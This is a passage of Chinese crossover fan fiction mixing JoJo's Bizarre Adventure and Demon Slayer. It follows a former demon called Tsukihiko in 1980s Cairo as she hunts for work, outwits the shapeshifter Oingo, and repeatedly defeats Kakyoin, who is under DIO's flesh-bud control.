月亮在慢慢落下,她的影子变成了朦朦胧胧的一片。夜风吹过,她那明显不合身的廉价t恤随风而飘,勾勒出她的高挑的身姿。她像是黑夜的女神,之前在月光下降临拯救了一个路过的少女,现在似乎准备继续回拥黑夜。
莱拉察觉到黑发女人话中的迟疑,不由上前一步,握住了她的双手,“一点都不打扰,如果有你在了话,今晚我会更加安心!”
莱拉看着女人态度似乎有些松动,话语更加恳切,“拜托了,月彦小姐。”
对面的黑发女子这回没有犹豫很久。
她搭着莱拉的手,点了点头,款款一笑,面容上的忧愁消散,语气像是雪花刚刚融化指尖一般轻柔,“我的荣幸。”
*
被女孩子捡回家是我的宿命。
住进了我之前躺着的屋顶下的房子,我的心情一时间还有点微妙--屋顶上我还放着织子阿姨给我做的和服呢。
我怀疑这属于命运的指引,但是一想到我这颠沛流离的人生,我也很难分清命运对我的态度。
总之,走一步看一步吧。
莱拉对我很好。虽然回来的很晚,但是她依旧看出了我极力隐藏的饥肠辘辘,为我做了一顿丰富的宵夜,还在餐桌上陪着我吃。莱拉给我准备了温热的浴水后,还贴心地找了很多大小合身的全新的衣物。
而这些做完之后,莱拉就将我带到了舒适的客房,柔软舒适的寝具让睡了一个好觉,一夜无梦。
就在第二天早上,莱拉甚至为我做好了早餐再出去上班,然后带着柔软温柔的眼神对我微微一笑,祈求我接下来还能继续跟她住着。
这是什么天使吗?
对于莱拉的热情,我感到非常不好意思,但是囊中羞涩还是让不得不继续住下,而且睡着舒适的大床就很难再回归屋顶这个露天卧室了。
就这样,我就这样以一个莱拉说的“救命恩人”的身份暂住在了莱拉家。
当然,为了自己不成为寄生虫,我还是去城中找了些工作。
不过,有些意料之内的事情还是发生了。
“月彦,你明天别来了,昨晚有劫匪袭击了珠宝店,我们的珠宝被洗劫一空,那些警察什么线索也没找到,我这珠宝店也算完蛋了。”
--这是哭丧着脸哀痛的珠宝店老板
“月彦,我的女儿大赚了一笔钱,说是不用我在这边开摊子了,之后我就把铺子关了,你找别人去吧。”
--这是喜笑颜开的开罗小吃摊婆婆
“呜呜呜呜呜,咯哈咯.......”
--这是雇我做保镖之后我还没来得及上任就因为输光了筹码的疯狂赌徒
我的表情已经从一开始的怀疑人生到无语到淡然了。
被迫离职的理由都十分充分,作为一个黑户,我甚至不能狠狠揪着雇主的领子大喊赔我n+1.
我、老板克星、干一行倒一行终生成就奖获得者、曾经的上弦一、现在的被隐隐指指点点的东方不幸者,对于这点小小的困难根本不放在眼里。
根本不--
我摸着手中的薪水,将目光缓缓移至了路边。
瘦小的男人头带灰扑扑的袍子,警惕着看着目光炯炯盯着自己手的黑发女人,手里紧紧攥着刚刚乞讨而来的纸币。
这个东方女人每次路过似乎眼睛都会凝固在他手里的钞票上,让他将她从可能会施舍的善良女人名单划到路过的奇怪人名单里。
“怎么,想抢吗?”男人微微提高音量,握了握拳头,硬气了一下,就将纸币迅速地塞到了钱包里,然后立马挪了挪身体到远处的石块,远离了奇怪东方女人的视线。
回想着刚刚看见的钱包内的数目,我忍不住咬了咬下唇。
可恶!他的钱好像比我还多啊!职业乞丐这么赚钱的吗?
我的自尊心还维系着我的体面,我收回自己长久打量的视线,只是每走几步还是忍不住瞅瞅路边,似乎这样能找到一些财富自由的道路。
直到沿街的乞丐都被我盯得躲着我的视线后,我才到达了自己今天的目的地--一家占卜店。
此次的雇主是之前路过交谈的占卜师,他是发型像切开花的香肠的男人。他穿着红色长衫,带着硕大的金色串珠项链。
老实说,一见面,我的眼睛简直就移不开他的那串项链,在礼貌询问后发现是项链纯金的之后我就无法控制咋舌--老天,这玩意每个串珠都有手腕粗,干占卜得有多赚钱啊。
于是在不得不结束上一份兼职后,我就火速殷切地和这位占卜师交谈,试图谋得一个助手的兼职。这位占卜师打量了一会我,便很快同意了,约我几天后来到街前的占卜店里进行一个小面试。
我也愉快答应了。
不说占卜看起来挺赚钱的,就这占卜师给我一种不似平凡人的感觉,我觉得自己这份工作应该能持续较长时间。
所以这次我一定要面试成功!
站定在店门口,我再次理了理头发,正了正自己的衣领,拍了拍自己衣服上不存在的灰,才心满意足、精神饱满地准备迎接自己的面试。
看着门口的“open”,我在木门上扣了三下,等了一会没等到回复,就直接推门而入了。
“你在吗,阿布德尔先生?我是来应聘店员的--”我的话被在看到店内的一片狼藉后戛然而止。
店内暗沉沉的,厚重的红丝绒的窗帘拉着,透不出外面的半分阳光。一盏小灯摆
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在柜台处,发出微弱的光线,映出了室内的混乱。放着精装塔罗牌的玻璃柜台被打碎了,玻璃渣溅射到了门口,室外的光线从门口投入与玻璃渣相遇,将室内照耀出奇特的神采。
塔罗牌散落在玻璃渣之前,使得室内的气氛变得更加诡异起来。
没有回应,而且室内这么混乱,我的雇主不会直接在店内嗝屁了吧?
怀着对高薪工作的期许,我无视玻璃渣,掂着脚在室内狭小的空间穿梭着,试图寻找着雇主相关的线索。
好消息:雇主应该没有嗝屁,这里没有发烂发臭的遗体也没有一些血迹。
坏消息:雇主看起来遭遇了袭击,他应该是直接离开了占卜店,甚至几天没有回来了。
我停下翻垃圾桶的手,看着垃圾桶内干枯的苹果核,指尖抚摸着墙上深深的痕迹。
这样的攻击力,如果是鞭子了话正常人应该没有这种力气,但是也没有留下什么热武器的痕迹。
真是摸不着头脑,不过应该是牵扯进什么事情了吧。
我摇了摇头,继续踮着脚退出了房门。
再去找下一份兼职吧。
我正打算转身离开,却发觉鞋底有些异样的感觉。曲腿一看,我发觉是有张塔罗牌沾到了鞋底上。
咦,明明很小心了,是什么时候沾到的呢?
我用手指捻着塔罗牌的牌角,将其翻过来一看--是一片空白?
“原来还有这种类型吗?”我不可抑制地喃喃出声,心下稍稍忏悔了自己对于塔罗牌知识的空白。
我对于这份兼职准备的确实不够充分啊,不过既然这份兼职黄了话应该也没什么关系吧。
我忖度着,将从鞋底拿下的卡片放回了门口,决定先去帮这位没有缘分的雇主报个警,也算是日行一善吧。
我往着警察局的方向走去,并没有留意到那张被我夹在门缝里的卡片在几秒后微微弯曲,像是一瞬间拥有了生命般从门缝中逃离,乘着不知何时来的风划向了某个开罗的建筑中。
卡片钻过建筑的门缝,绕过昏暗室内往来的人群,拐了个弯,来到了二楼的某个房间中。它挤进了门缝,像是一只小鸟般温顺地停在了一双苍老的手上。
手的主人是个矮小苍老的女人,她一手持着木杖,一手翻开了卡牌。
“这是怎么回事?”手的主人对着卡面上的空白,发出不可置信的惊呼。
她的惊呼吸引了旁人的注意力。
“哦?”昏暗的灯光下,坐在一旁看书的男人合上了书本,看向了矮小苍老的女人。
女人放下木杖,将卡牌双手呈上,无比恭敬地递给了男人,“迪奥大人,我恩雅从未见过如此奇怪的卡面,这难道是出错了?”
被称作迪奥大人的男子的脸被黑暗遮掩,看不出表情,他只是随意的拿起那张卡牌,看了一眼,就将当做书签夹在了书本间。
“出错?不,我相信你的本事。这样卡面确实很有趣,我真是想见见她了。”迪奥将手曲在膝盖上,撑着脸,望着恩雅。
“把那个叫月彦的女人带来给我看看吧,恩雅。”
43.波因哥与欧因哥
报案,登记了基本情况后,警察便挥挥手叫我离开了,似乎已经对这些事情习以为常。
这个时代已经有了移动电话了,但是现在的移动电话还只是大哥大,笨重不堪;再加上其昂贵的价格,根本不是普通人能负担起的。
虽然对占卜师助手的高薪兼职依旧充满热情,但是我也无法让警察找到阿布德尔先生后能电话告知我一声。
我搓了搓手,态度十分良好,“先生们,请问大概什么时候会开始调查呢?”
狭小的房间内,穿着警服的人们像是游鱼一般走来走去,腰间的配枪碰撞皮带发出清脆的响声。坐在我对面的警察听见我的话,将钢笔帽扣回钢笔上,才抬起了头。
“女士,我们很忙。”他耸耸肩,将刚登记完的纸塞进了一沓厚厚的登记表上。
坐在他旁边的警察指着那沓纸,努了努嘴,语调显得很夸张,“喏,女士,这就是我们现在失踪人口的登记表了。你瞧瞧这有多少?如果你要问我们什么时候开始,我只能说我们早就开始调查了~”
负责登记的警察不置可否地点了点头,“我们已经忙不过来了,女士你放心,每个案件我们都会尽职尽责调查的,只是我没法准确告诉这事什么时候能解决。”
这个警察顿了一下,看向我,“不过还请你也要注意安全,最近开罗发生了不少事件,别说财物失窃的事件翻了一番,就是失踪人口也.......”他摇了摇头,没再说下去。
去警察局报完案出来后,阳光绚烂。
我抬手挡了挡太阳,小跑到了树荫下。
埃及对我来说果然还是有些晒。
大树下好乘凉诚不欺我,我在树荫下感受着难得的凉爽,回想着刚刚在警局中看到的一幕。
刚刚和警察闲扯的时候,我瞄到了他随手翻开的一页档案,那似乎是关于无人认领的尸首的信息,尸体状态那一栏上面写着[全身无明显外伤,但颈部有两个小型穿刺伤口,伤口周围皮肤发紫。经解剖,发现尸体全身血液被抽取......]
嘶,真诡异啊,是什么变态犯罪吗?总不能是吸血鬼吧。
我皱着眉头,看着树荫下明媚的阳光--这阳光和我干掉鬼舞辻无惨那天一样好啊。
话说回来,要不是我干掉了鬼舞辻无惨,我还得怀疑是不是他再搞鬼。不过近来开罗居然有那么多失踪人口吗,不知阿布德尔先生还回不回来,回来还招助手吗?
我确实需要份工作。
掏出了口袋里为数不多的纸币,我反复数了数,确定了纸币无法无性繁殖,遗憾地将其继续塞回口袋。
虽然之前的兼职赚了点钱,但兼职黄掉的速度比以往更快,我到手的薪酬少得可怜。整个人基本上都像是在吃莱拉的软饭状态。
再加上我的食量确实很大,就算每天只吃三分饱,在支出上已经给莱拉造成了不小的负担。虽然莱拉总是说着没关系,但是我也不能心安理得得一直吃着好心人的软饭。
再这样下去......
我看着街角蹲坐下阴凉处的乞讨者,只觉得自己的自尊心岌岌可危。
要是我的一莲花宝座的财宝还在就好了。为此,我继续叹了口气,只觉心凉凉的,很安心。
“咕~~”肚子开始叫了起来。我低下头,手摸了摸肚子,掩饰着自己不爽的表情。
话说回来,为什么,在警察局门口,我还在被窥伺着呢?
*
欧因哥和自己的弟弟波因哥站在街角,收回了观察警察局的视线。
可恶,那个DIO大人要见的黑发女人居然一直站在警察局旁边,那里一直有警察进进出出,这样根本没法子强行把这个女人掳走。
“波因哥,漫画内容出来了没有?”欧因哥焦急地打开弟弟手中的漫画书,等着漫画内容的显现。
他们都是迪奥手下的替身使者。替身使者是拥有奇异能力的一群人,在外界看来这是属于超能力也不为过。欧因哥的替身是库努姆神,他的替身能力是能任意改变自己的相貌、发型和体味。而他弟弟的替身是波波神,替身的外形是一本漫画,而这本漫画上所有的能够预知接下来发生的事情,并且预言一定会实现。
波因哥咬着手指,看着正在慢慢附上色彩的书页,“来啦!”波因哥突然高呼。
欧因哥的被弟弟的声音吸引,他蹲下身子,看着出现的漫画内容。
[1.欧因哥和波因哥兄弟今天接受DIO大人的命令,前来带那个黑发女人去见DIO大人,啦啦啦啦~]
[2.那个黑发女人一直蹲在警察局旁边的树下,旁边警察很多,根本无法上前呢~]
[3.一辆自行车失去了控制,直接撞向了那个黑发女人,却被她单手就控制住了呢,好可怕呀~]
[4.那个黑发女人看到了什么,直接走到了波因哥和欧因哥所在的巷子了,她难道发现什么了吗~]
[5.那个黑发女人乖乖跟着波因哥走了,波因哥旁边还跟着一个照片里跟着那个黑发女人住在一起的女人~]
[6.两个女人和波因哥一起坐在一家高级餐厅,餐桌上摆满了丰盛的食物~]
漫画到这里就结束了,兄弟俩看着结尾丰盛食物的图片,不由得留下流口水。
“这么说来,只要我变成那个黑发女人认识的人的样子,她就会乖乖跟我们走了,还会请我们吃大餐对吧!”欧因哥欢呼!
波因哥捧着漫画书,高兴地点了点头,“没错,一定是这样的哥哥,波波神的预言是不会出错的,我们有大餐吃了!”
他们俩将脑袋探出巷子,看到那个女人果不其然单手控制住了疾驰向她的自行车,不由得更是自信满满!
太好了,这下子任务一定能完成了,DIO大人的酬劳他们兄弟俩就收下了。
见女人扶起了快要摔到的行人,已经准备要朝他们这走过来了,欧因哥连忙使用替身能力,摇身一变,变成了身披红色波点头巾的棕发紫眸女人。
一转头,欧因哥就看到了黑发女人不知何时已经走到了他的身后。
“莱拉?”黑发女人逆着光,波因哥和欧因哥看不清她脸上的神色。
被黑发女人的突然出现吓得差点发出了男声,欧因哥猛咳嗽了一声,调整了嗓音,“月彦小姐!”
黑发女人点了点头,有些担忧地看着欧因哥,“没事吧,莱拉,你的嗓子还好吗?”
得到欧因哥没事的回答后,她又低头看向低矮的波因哥,“这个孩子是?”
欧因哥连忙把支支吾吾不知所措的波因哥塞到自己身后,“哈哈,这个呢,是我亲戚那边的孩子呢?”
黑发女人没继续追问,只是呆呆地点了点头。欧因哥划下了自己额头不存在的冷汗,嘴上的笑还是很僵硬。
漫画书只是展现了未来的片段,并没有说明很多细节。所以,他现在该说什么?
但是在黑发女人的视
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线下,欧因哥并不能与波因哥直接交流,还没等他急得团团转,黑发女人的声音就解救了他。
“莱拉,刚好饿了,我们就去吃你说的超级好吃的餐馆吧!”
欧因哥的眼睛骤然发亮,看来这个女人根本没发现他是假冒的,而且,哼哼,约定的饭店,有预言能力的漫画书在手,他根本不慌。
自觉把握了整件事情的节奏,欧因哥牵着波因哥走在前头,直奔漫画书里写的那间餐馆。
已是午饭点,饭菜的香气从餐馆中飘出来,叫人食指大动。
黑发女人看起来轻车熟路地上了餐馆的二楼,进了一个雅间,点了一大桌子的菜。
冰淇淋松饼、米布丁、奶油海鲜意面、烤鸽子、烤肉拼盘、烤肉卷、牛肉馅饼......一大堆美食摆在桌上,直叫波因哥的口水都擦不尽。
“还需要点什么吗,莱拉?”黑发女人的眼神很是温柔,看的叫欧因哥跃跃欲试。
这个东方女人对这个叫莱拉的女人,这么大方的吗?那这个时候不宰她一顿还等何时?
兄弟俩对视了一眼,又拿起了菜单,对着那些昂贵的酒水和饮品哐哐地点了一通。
黑发女人并没有争议,只是点了点头,将点上的酒打开,倒入高脚杯中,享受地抿了一口。
“你也尝尝吧,味道不错呢莱拉。”黑发女人喝完了酒,就开始动起了刀叉开始进食。她的动作很优雅,但是她的动作却是那么的快。
那个暴风吸入美食的速度叫波因哥欧因哥兄弟俩心惊,他们忙不迭地也开始赶着速度虎口夺食。不出一会,桌上的美食竟然就已经全部消失--这可大概是8个人的分量啊
黑发女人此时拿着餐巾,擦了擦根本没怎么脏的嘴角,很是讶异地看了一眼眼神惊诧的兄弟俩。
“莱拉,你没吃饱吗?”她的脸上是纯然的疑惑。
“不是,谁在你旁边吃饭能吃得饱啊?!”
欧因哥一不小心将自己的内心的吐槽咆哮了出来,看着黑发女人诧异的眼神,他咬了咬牙,回想着她单手就控制住飞驰的自行车的姿态,面上又挤出了一丝笑。
“诶?抱歉啊,我没意识到这点。要不我们再点点吧。”黑发女人将餐单递给了波因哥,在波因哥和欧因哥充满怨念点单的时候又放下了一个炸弹。
“不过还真是感谢你啊莱拉,请我吃这顿饭。”黑发女人又给自己倒了一点酒,享受地抿了一口。
欧因哥一颤抖,他手上的菜单直接掉在了地上,他也顾不上捡。
等等!这个女人说什么!什么叫我请!难道不是她请客吗!难道不是她先说吃饭的吗!
像是不理解欧因哥脸上破碎的表情,黑发女人将身子探上前去,歪着头,“这不是你之前一直和我说的吗?要请我在这家餐馆好好吃一顿。”
像是想到了什么,黑发女人眼神突然变得冰冷,眼里的杀气并不作伪,“你不记得了,还是说--你不是莱拉?”
欧因哥的表情变得僵硬,这种恐怖的感觉他只从DIO大人和其他几个替身使者身上感受过,如果真的承认,他感觉自己一定会死!
“哈哈,你说什么啊,我当然是莱拉了。我当然记得这件事啦,哈哈哈......”
欧因哥颤巍巍地捡起了菜单,看着上面的天价数字,再看看桌上的空盘,觉得自己就要停止思考了。
“哈哈,我其实已经饱了,你也是吧,波因哥.......”
44.花京院典明
我在对面俩人饱含怨念的目光下饮下了最后一口酒,只觉口中的酒更加顺口了。
“确定不要再点什么了吗?”
听到这句话,那俩人齐齐摇头,我也顺驴下坡,不强求。
说起来,今天吃的真不错啊。
紧盯着那个伪装成莱拉的家伙付了钱,确定不会影响莱拉的信誉后,我将那个叫波因哥的男孩压在了店里,带着那个“莱拉”去了巷子里。
“啊哈哈,月彦,我们来这里干什么呢?”那人几乎要笑不出来了,就连扯起嘴角都很勉强。他或者她一直拨弄着头巾,试图绕过我离开巷子。
在没有必要的时候,我是不会说废话的。
“给我变回你原来的样子,冒牌货。”黑发女人脸上的笑容全然消失,她面无表情,一双黑眸古井无波地盯着欧因哥,呈现着一种凛然的冷酷。
欧因哥只觉得自己灵魂都在发颤,他咽了咽口水,试图辩解几句,“哈哈,月彦你说什么呢?我不都按照约定请你吃饭了吗,怎么能说我是冒牌货--啊!”
落在他脸旁边的拳头砸在墙上,发出巨大的声响。欧因哥颤颤巍巍地将视线移到墙上,看见了一个深深的拳印。
这是什么怪力女!这可是混凝土造的墙!究竟是怎么打出这样的力道的!他甚至都没看见她的替身!
欧因哥浑身发颤,他举起双手,讨好地露出一个堪称是谄媚的笑,“这就变回来,这就变回来。”
头戴白色波点红色头巾的棕发紫眸少女一下子变成了一个黑发壮汉。
原来这世界上真的有超能力啊!我压下心中的讶然,对着壮汉点了点头。
先不管什么超能力,他变回原样这样子我更好下手打他。
我仔细打量眼前这个笑容谄媚的家伙,总感觉在哪里见过他。不过这种能变换自己容貌的家伙嘛,在哪里见过应该也不稀奇。
我摸了摸下巴,决定再确认一件事情,“你应该没对莱拉做什么吧?”
“不敢不敢,我的能力只是能变换样貌、发型和体味,当然不会对别人做些什么。”
他的这句话倒是在我意料之内,毕竟他连莱拉出门探亲这件事都不知道,还敢伪装莱拉来骗我,大概率只是临时起意。
“只是我有一个问题,”这个男人的笑容变得更加谄媚,眼睛眯得都要看不见了,“你是怎么发现我不是莱拉的?”
?
这句话槽点倒是有点多,一个男人居然能问出你怎么能发现我不是女人。而且你的纰漏太多不知道从何说起。
我并不打算回答他这个问题,只是拍了拍拳头上的灰,决定问他最后一个问题,“还请麻烦告诉我,你究竟是受谁指示来找我的呢?”
我一脚踢向他发力试图偷袭我的脚,让男人谄笑的脸僵硬了一瞬。他半跪在地上,吃痛地叫喊着。
“嘘,安静,回答我的问题。”
我一把揪住他的领子,看到他拼命躲闪的眼神,“说笑了,怎么会有人指示呢?是我闲着没事干。”
装作吃痛也不能说吗?
我叹了一口气,指了指墙上的拳头印。“这样也没关系吗?”
他的瞳孔剧烈颤动,厚厚的嘴唇颤着想吐出什么,但最终还是咽下了,“我不能说,说了就会死,你不如打死我吧!”
我不信他这么有骨气,但是我确实相信他害怕幕后指使更甚。
我将其提起来,一把将他脑袋撞到墙上,一击就让他晕了过去。趁着他晕的时候,我翻出了他的瘪瘪的钱包并打开。
在大出血后,钱包只剩下一些零钱了。
不过。
我在零钱堆中翻出了几枚金戒,我将金戒拿出来仔细打量,在戒指的内侧看到了一个特殊的符号--这是我之前打工的珠宝店的标识
难道这家伙是抢劫的元凶?
我看着倒在地上的男人一脸蠢样,心想这难道就是人不可貌相。
秉持着贼不走空(划掉)不浪费的原则,我将零钱尽数收下,再翻翻这个男人身上的口袋。然而,除了一些七零八碎的炸药零件、用来偷袭的没品暗器外别的什么都没有。
没有什么帮派符号也没有什么接头线索,好像真的像是这个男人说的一样只是一时兴起。
但鬼才相信呢。
我收下了东西,站起身往巷子外走去,饱餐一顿后小小的活动了一下身体更是让我觉得身心舒畅。
这里的巷子出口并不是餐馆那侧的出口,我不用遇见那个叫作波因哥的小孩。
不过,话说回来,这里的警察能处理有超能力的人吗?
走出巷子,顶着阳光,我陷入了深深的思考。
*
吃饱了饭,我继续做起了开罗城内乱晃。
虽然被人盯上,但是也不影响我的心态。
首先,我也没有关键的线索能直接找到窥伺我的家伙。他偶尔投来一瞥,但是还没做出什么举动。我不是因为他人的实现就能动摇的人,现在这个阶段,还是得兵来将挡水来土掩。
其次,我是真的需要一份工作。
我就差在衣服上打印出自己的简历了,然而走过街头巷尾,只是在地上捡到了些硬币,愣是没找到点活。
这样可不行啊。
我叹了口气,向坐在一旁的少年打了招呼。
“你好,能给我买瓶水吗?”
穿着绿色学生制服的少年表情僵了一瞬,他指了指自己,头微微歪了歪,“你是叫我吗?虽然我是很乐意请美丽的女士一瓶水的,但是您这请求也太突兀了吧。”
这么说着,他还是站了起来,去一旁的店里买了一瓶冰水递过来。
“谢谢”,我打开了瓶盖,冰凉的水在炎炎夏日很是让人受用。
“话说少年你还是学生吧,怎么不在上学呢?”我看向穿着绿色学生装的粉发少年,举了举冰水。
不管是在哪里,现在的日子大抵高中生们都是要上学的。这个粉发少年穿着的绿色学生制度将他的身体完完全全地裹着身体,真奇怪,这么热的天竟然也没出一点汗。
校服的款式看起来像是日式的,不过这个粉发少年的身高看起来1米8左右,已经远远拉高了日本高中生的平均身高了吧。
我看着少年的眼神在听见上学时清明了一瞬,又很快恢复成原状。
“这与你无关吧。”他面上还维持着一种彬彬有礼的姿态,只是话里却透着些脾气。
“一般来说是没什么关系啦。我也没在学校上班,逃课的高中生我管不着。”说完,我将冰水一饮而尽,再把瓶子扔在了垃圾桶里。
望着面色看起来变得阴沉的粉发少年,我回以一个礼貌的笑,“但是,我还是比较好奇,一个学生不去上学,干嘛要一直跟踪着我呢?”
从那顿丰富的午饭后,我就感觉有人开始跟踪着我了呢。
粉发少年彬彬有礼的姿态消失了,他嘴角一拉,冷冷笑道,“你这女人还算是敏锐,怪不得那位大人想要见你。”
他伸手,似乎在招呼着什么,我总感觉什么东西在向我靠近。
下意识地往上跳了一下,我看见了少年震惊的表情。
“难道你也是替身使者吗?”
什么玩意,我默默记下了替身使者这个名词,看着少年有些失态的表情。也是,看来这个少年时替身使者啊,难道这跟之前变身莱拉的人一样
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吗?
或许替身使者是种超能力吧,我忖度着,不表态,“既然如此,动手之前,你应该先介绍一下自己,不然不太礼貌吧。”
我向他靠近了一步,语气诚恳真挚,让人挑不出错处。
粉发少年上下大量了我一下,又看看巷中没有旁人,笑了一声,大有一副让你死也死得明白的样子,“我是花京院典明,替身(stand)是法皇之绿,奉某位大人的命令带你去他面前。”
嗯,很酷的自我介绍,不过我现在也编不出来什么。
我只能点点头以示收到,然后开始了劝学。
“诶,不太妙吧,花京院少年。不管怎么说,小小年纪就玩这种帮派游戏也太危险了吧,现在回头去上学应该还来得及。话说回来,你打过请假条了吗?”
然而这位叫花京院典明的少年显然不能理解成年人的好意,他只是眯了眯眼睛,手轻轻在空中划过,我就感觉自己的脚被什么东西绑着,将我拖向他那边。
可是我低头一看,脚上却空无一物。
这是像什么咒灵一样的东西吗?这种被熟悉的看不见的东西攻击的感觉让我有些恼火,然而此时我没有咒具,也不能实验他们所谓的替身是不是如今咒灵的时髦叫法。
应该是那个所谓的替身拖拽着我,我努力保持这平衡站着,整个人像是滑冰一样朝着花京院典明的方向撞去,感觉自己的鞋底都快磨破了。
真是的,没礼貌,你能赔我的鞋吗?!
我表情不由得扭曲了一瞬,感觉自己的腰部也被什么东西束缚着,整个人几乎动弹不得,纵使用尽了力气,也无法挣扎。
花京院典明就站在我的身前,他低头看着我,眼神微妙,“原来这么容易就能抓到吗?”
不是吧,这位少年,你至于把内心话说出来嘛。
我没好气,继续使劲挣扎,但是奇怪的是,无论我做什么,都无法挣脱那个力量。明明感觉力量并不是很大啊。
“真是傲慢,你还不放出自己的替身和我对战吗?只有替身才能打败替身。”花京院典明紫色的眸子充满着傲慢,他的樱桃耳环微微晃动。
诶,替身才能打败替身是吗?
我抬起头,看向了花京院典明,露出一个老实的笑,“抱歉啊,我不知道你的替身这么的强劲,我的替身根本不是你的对手,也没有必要放出来。”假话,我根本没有替身呢。
高中生的表情很好懂,花京院典明的脸上立马混合着被称赞的暗爽和一种不屑。
真好呢,我在他松懈的一瞬间,感觉自己身上的束缚小了一点,猛地跳起,一个头槌直接撞向他的脑门。
我的力量可没一点放松,花京院典明眩晕了一瞬,我身上的束缚彻底松开了一秒。
就是现在!
我猛地跳起,一拳直击花京院典明的腹部,抓住了花京院的衣领就将他往墙上撞。
有触手一样东西试图阻止我,但是我的动作又快有猛,那些东西没来得及拉住我力道就开始变得虚弱。
看来所谓的替身和本体的状态很有关系啊。
看着已经有些眩晕的花京院典明,我抓住他的衣领将其拽起,带着些力道拍了拍他的有些磕伤的脸。
“哈喽,花京院少年,还能说一下你混的帮派的事情吗?”
他的眼神似乎不大清明,嘴微微张着。额头上的血顺着他的脸颊滑下。
我将其放在路面上,一手掐着他的脖子,防止他突然暴起,一手掀开了他的刘海。
说实话,刚刚我头槌的时候就有感觉了,他的额头......
我看着它额头上不断在蠕动的像是痘的东西,只觉得鸡皮疙瘩直起。
45.进入老巢
这种东西,总感觉多看一眼就要掉san啊。
拿东西隔着花京院刘海触碰感觉像Q弹章鱼脚,但是肉眼看就像一个快要爆开的软趴趴的痘一样。
不妙哇,我的额头居然隔着头发丝感受过这玩意。这跟吃苹果感觉口感不对嘴里吐出半条虫有什么区别!
呕--
这么一想感觉更恶心了!真不想再直接接触了!
当然,恶心是一方面,更重要的是,这玩意总给我一种非常邪恶的感觉。
虽然我也不是什么邪恶值检测仪,但是光看那玩意就能感觉到鸡皮疙瘩都起来了。这可绝不是光恶心能做到的。
我随手揪过砖缝中的草叶,用它触碰着那个花京院头顶那团蠕动的东西。
就在草叶触碰上那个东西表面的一瞬间,六只柱状触角不断从中射出,向我袭来。
我立马松开掐着花京院典明脖子的手,闪身躲过。
触手并没有追着攻击,大约伸到1m左右的范围便慢慢收回了。
在触手攻击的时候,花京院典明那张漂亮的脸皱成了老核桃,紧咬着牙关,但是透明的液体还是从嘴角露出。
我忍不住皱了皱眉头。
这家伙不会是被什么寄生虫入侵了吧,都已经到脑子这里了不知道还有没有救。难道是喝生水造成的,还是说是什么异形之类的外星生物啊?
我看着快要转醒的花京院典明,随手捡起路边的石头,一弹指。石子正中他额头上的那坨玩意。
那坨玩意再次狂暴、伸出触手、猛地挥开石子,又慢慢缩回去。
我反复试验了几次,直到路边已经找不到大小合适的小石子,我才慢悠悠地向花京院典明靠近,一手劈在他后颈处,确保他彻底昏迷。
看着额头已经肿起一块的高中生,我摸了摸鼻子,一时间不知道该如何处理他。
经过试验,我已经发现他额头上的家伙应该是能自动识别攻击它的东西,但是攻击范围仅限于1m内的东西,攻击力一般,但是作为突袭的暗器倒是够格了。
总的来说,是个不触发就不会有问题的恶心寄生者。
而这个现在被我打晕的高中生,应该就是被它选中的可怜带有超能力的宿主吧。
哎,没想到在20世纪的埃及,我就能提前感受到21世纪是生物的世纪。
我摇了摇头,拖着绿色学生服的领子,将这个高挑的粉发高中生带出巷子。
总的来说,如果是无辜的家伙了放任他昏迷在巷子里感觉有些不妙,毕竟他的脸长得确实不错,但是也不可能把他带到莱拉的家里。
既然这样了话......
我边走边思考,无视路人惊诧的表情,走向一家小店。
“老板,能给我一张纸和笔吗?”
看着老板一副要报警的表情,我忙劝道,“不管你在想什么你都是误会了,这是我不成器的弟弟,你瞧,穿着学生制服就溜出了学校。”
我指了指同为东方人的面孔,老板眼睛在我与地上的花京院典明之前来回打转,似乎在怀疑着什么。
这可不兴犹豫啊,不是说西方人根本认不出东方长相的区别嘛。
我一手捂着眼睛,努力想着自己失去的那一莲花宝座的财宝,声音顺利带上了三份唏嘘三分怅然三分痛心和一分挣扎,“我们家为了他上学,可是卖掉了原先的房子和车子,我陪着他来到埃及求学,没想到这孩子还要逃学去和一些不正经的人鬼混,呜呜呜`所以我才想给他点教训,呜呜呜~”
老板吃完了瓜,将笔递给了我,似乎对于这种东亚人伦惨剧很是同情,“确实,这样染发打耳洞还逃课的孩子,真是浪费了你们一片苦心。”
我放下捂着眼睛的手,看着昏迷的花京院典明,目光游走在他的粉发和樱桃耳坠上,点了点头,“谁说不是呢?”
花京院少年,看在你请我的那瓶水的份上,我会尽量温柔点的。
*
好疼,不管是额头还是脖子都好疼。
而且周围好吵,烦死了!都安静点!
花京院典明感觉自己整个人被绑在什么地方,全身酸痛。他艰难地睁开了眼,就看见了一群人围着他指指点点。
什么?
他低下头,发现自己被捆绑在一颗树上,自己的身前还绑着一张纸。
围观的人见他醒来,讨论的声音更加大了起来,有的人摇头叹息,一边指着他一边对着自家孩子说着什么。
这写了什么?
他咬着牙,在一众路人指指点点中召唤了法皇之绿,,看清了纸上的内容。
[请不要学我,我是逃学的坏孩子orz]
可恶的女人!
挣脱了绳索,花京院典明顶着围观群众指指点点,将那张纸一点一点撕碎。
他一定要完成DIO大人的命令,将这个可恶的女人带回去。
*
之后的几天,我总能在很多地方见到这位花京院少年。
有时是在家门口,我一出门准备倒个垃圾就听见他大喊“月彦,我要带你去见那位大人”,然后向我奔来。
吓得我立马把垃圾扔好然后拉近距离和他对打。
最终还是靠拉进距离将花京院典明打入垃圾桶中。
第二次是在我找工作的时候,我正准备自然地和卖香喷喷烤饼的老板搭话,顺便问问她这里最近缺不缺人手。那个粉发小子疯了一样冲过来。
我下意识把他拉进巷子里,避免了在可能的未来老板前留下坏印象。在巷子里将他打晕。
当然,我一直能暴揍这位总是大喊[绿宝石水花]的替身使者的原因并不是他很弱。
相反,他还是挺强的。不论是智谋还是别的什么的,上一次用过的招数下一次一定不会再用。
不过,对上我似乎好像没什么用。
因为,拜他所赐,在这段时间的对打中,我发现自己似乎对于替身的反应越发敏锐了,即使看不见,却能本能地做出反应。
而且,就他的攻击速度而言,其实并不能比得上鬼舞辻无惨。在鬼舞辻无惨手底下干了几年,对于如何应对鞭形的远距离攻击我倒还是有自己的心得。
而就近身搏斗来说,这位花京院少年就更不是我对手了。
不过,还真是麻烦啊。
我拖着眩晕的花京院走出巷子,思考着这回应该把他绑在哪里,却没有发现,我的背后,一道诡异的身影慢慢浮现,ta紧紧盯着远方的某座公馆,舔了舔嘴角。
“咕咕咕~
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”我的肚子突然叫了起来。
看来打架还挺消耗体力的。
我摸了摸脑袋,决定绑好花京院之后直接去香喷喷烧饼摊买个烧饼,顺便再去跟老板搭个话,问问她是否需要个香喷喷烧饼摊助手。
不过日子是不能继续这样下去的。
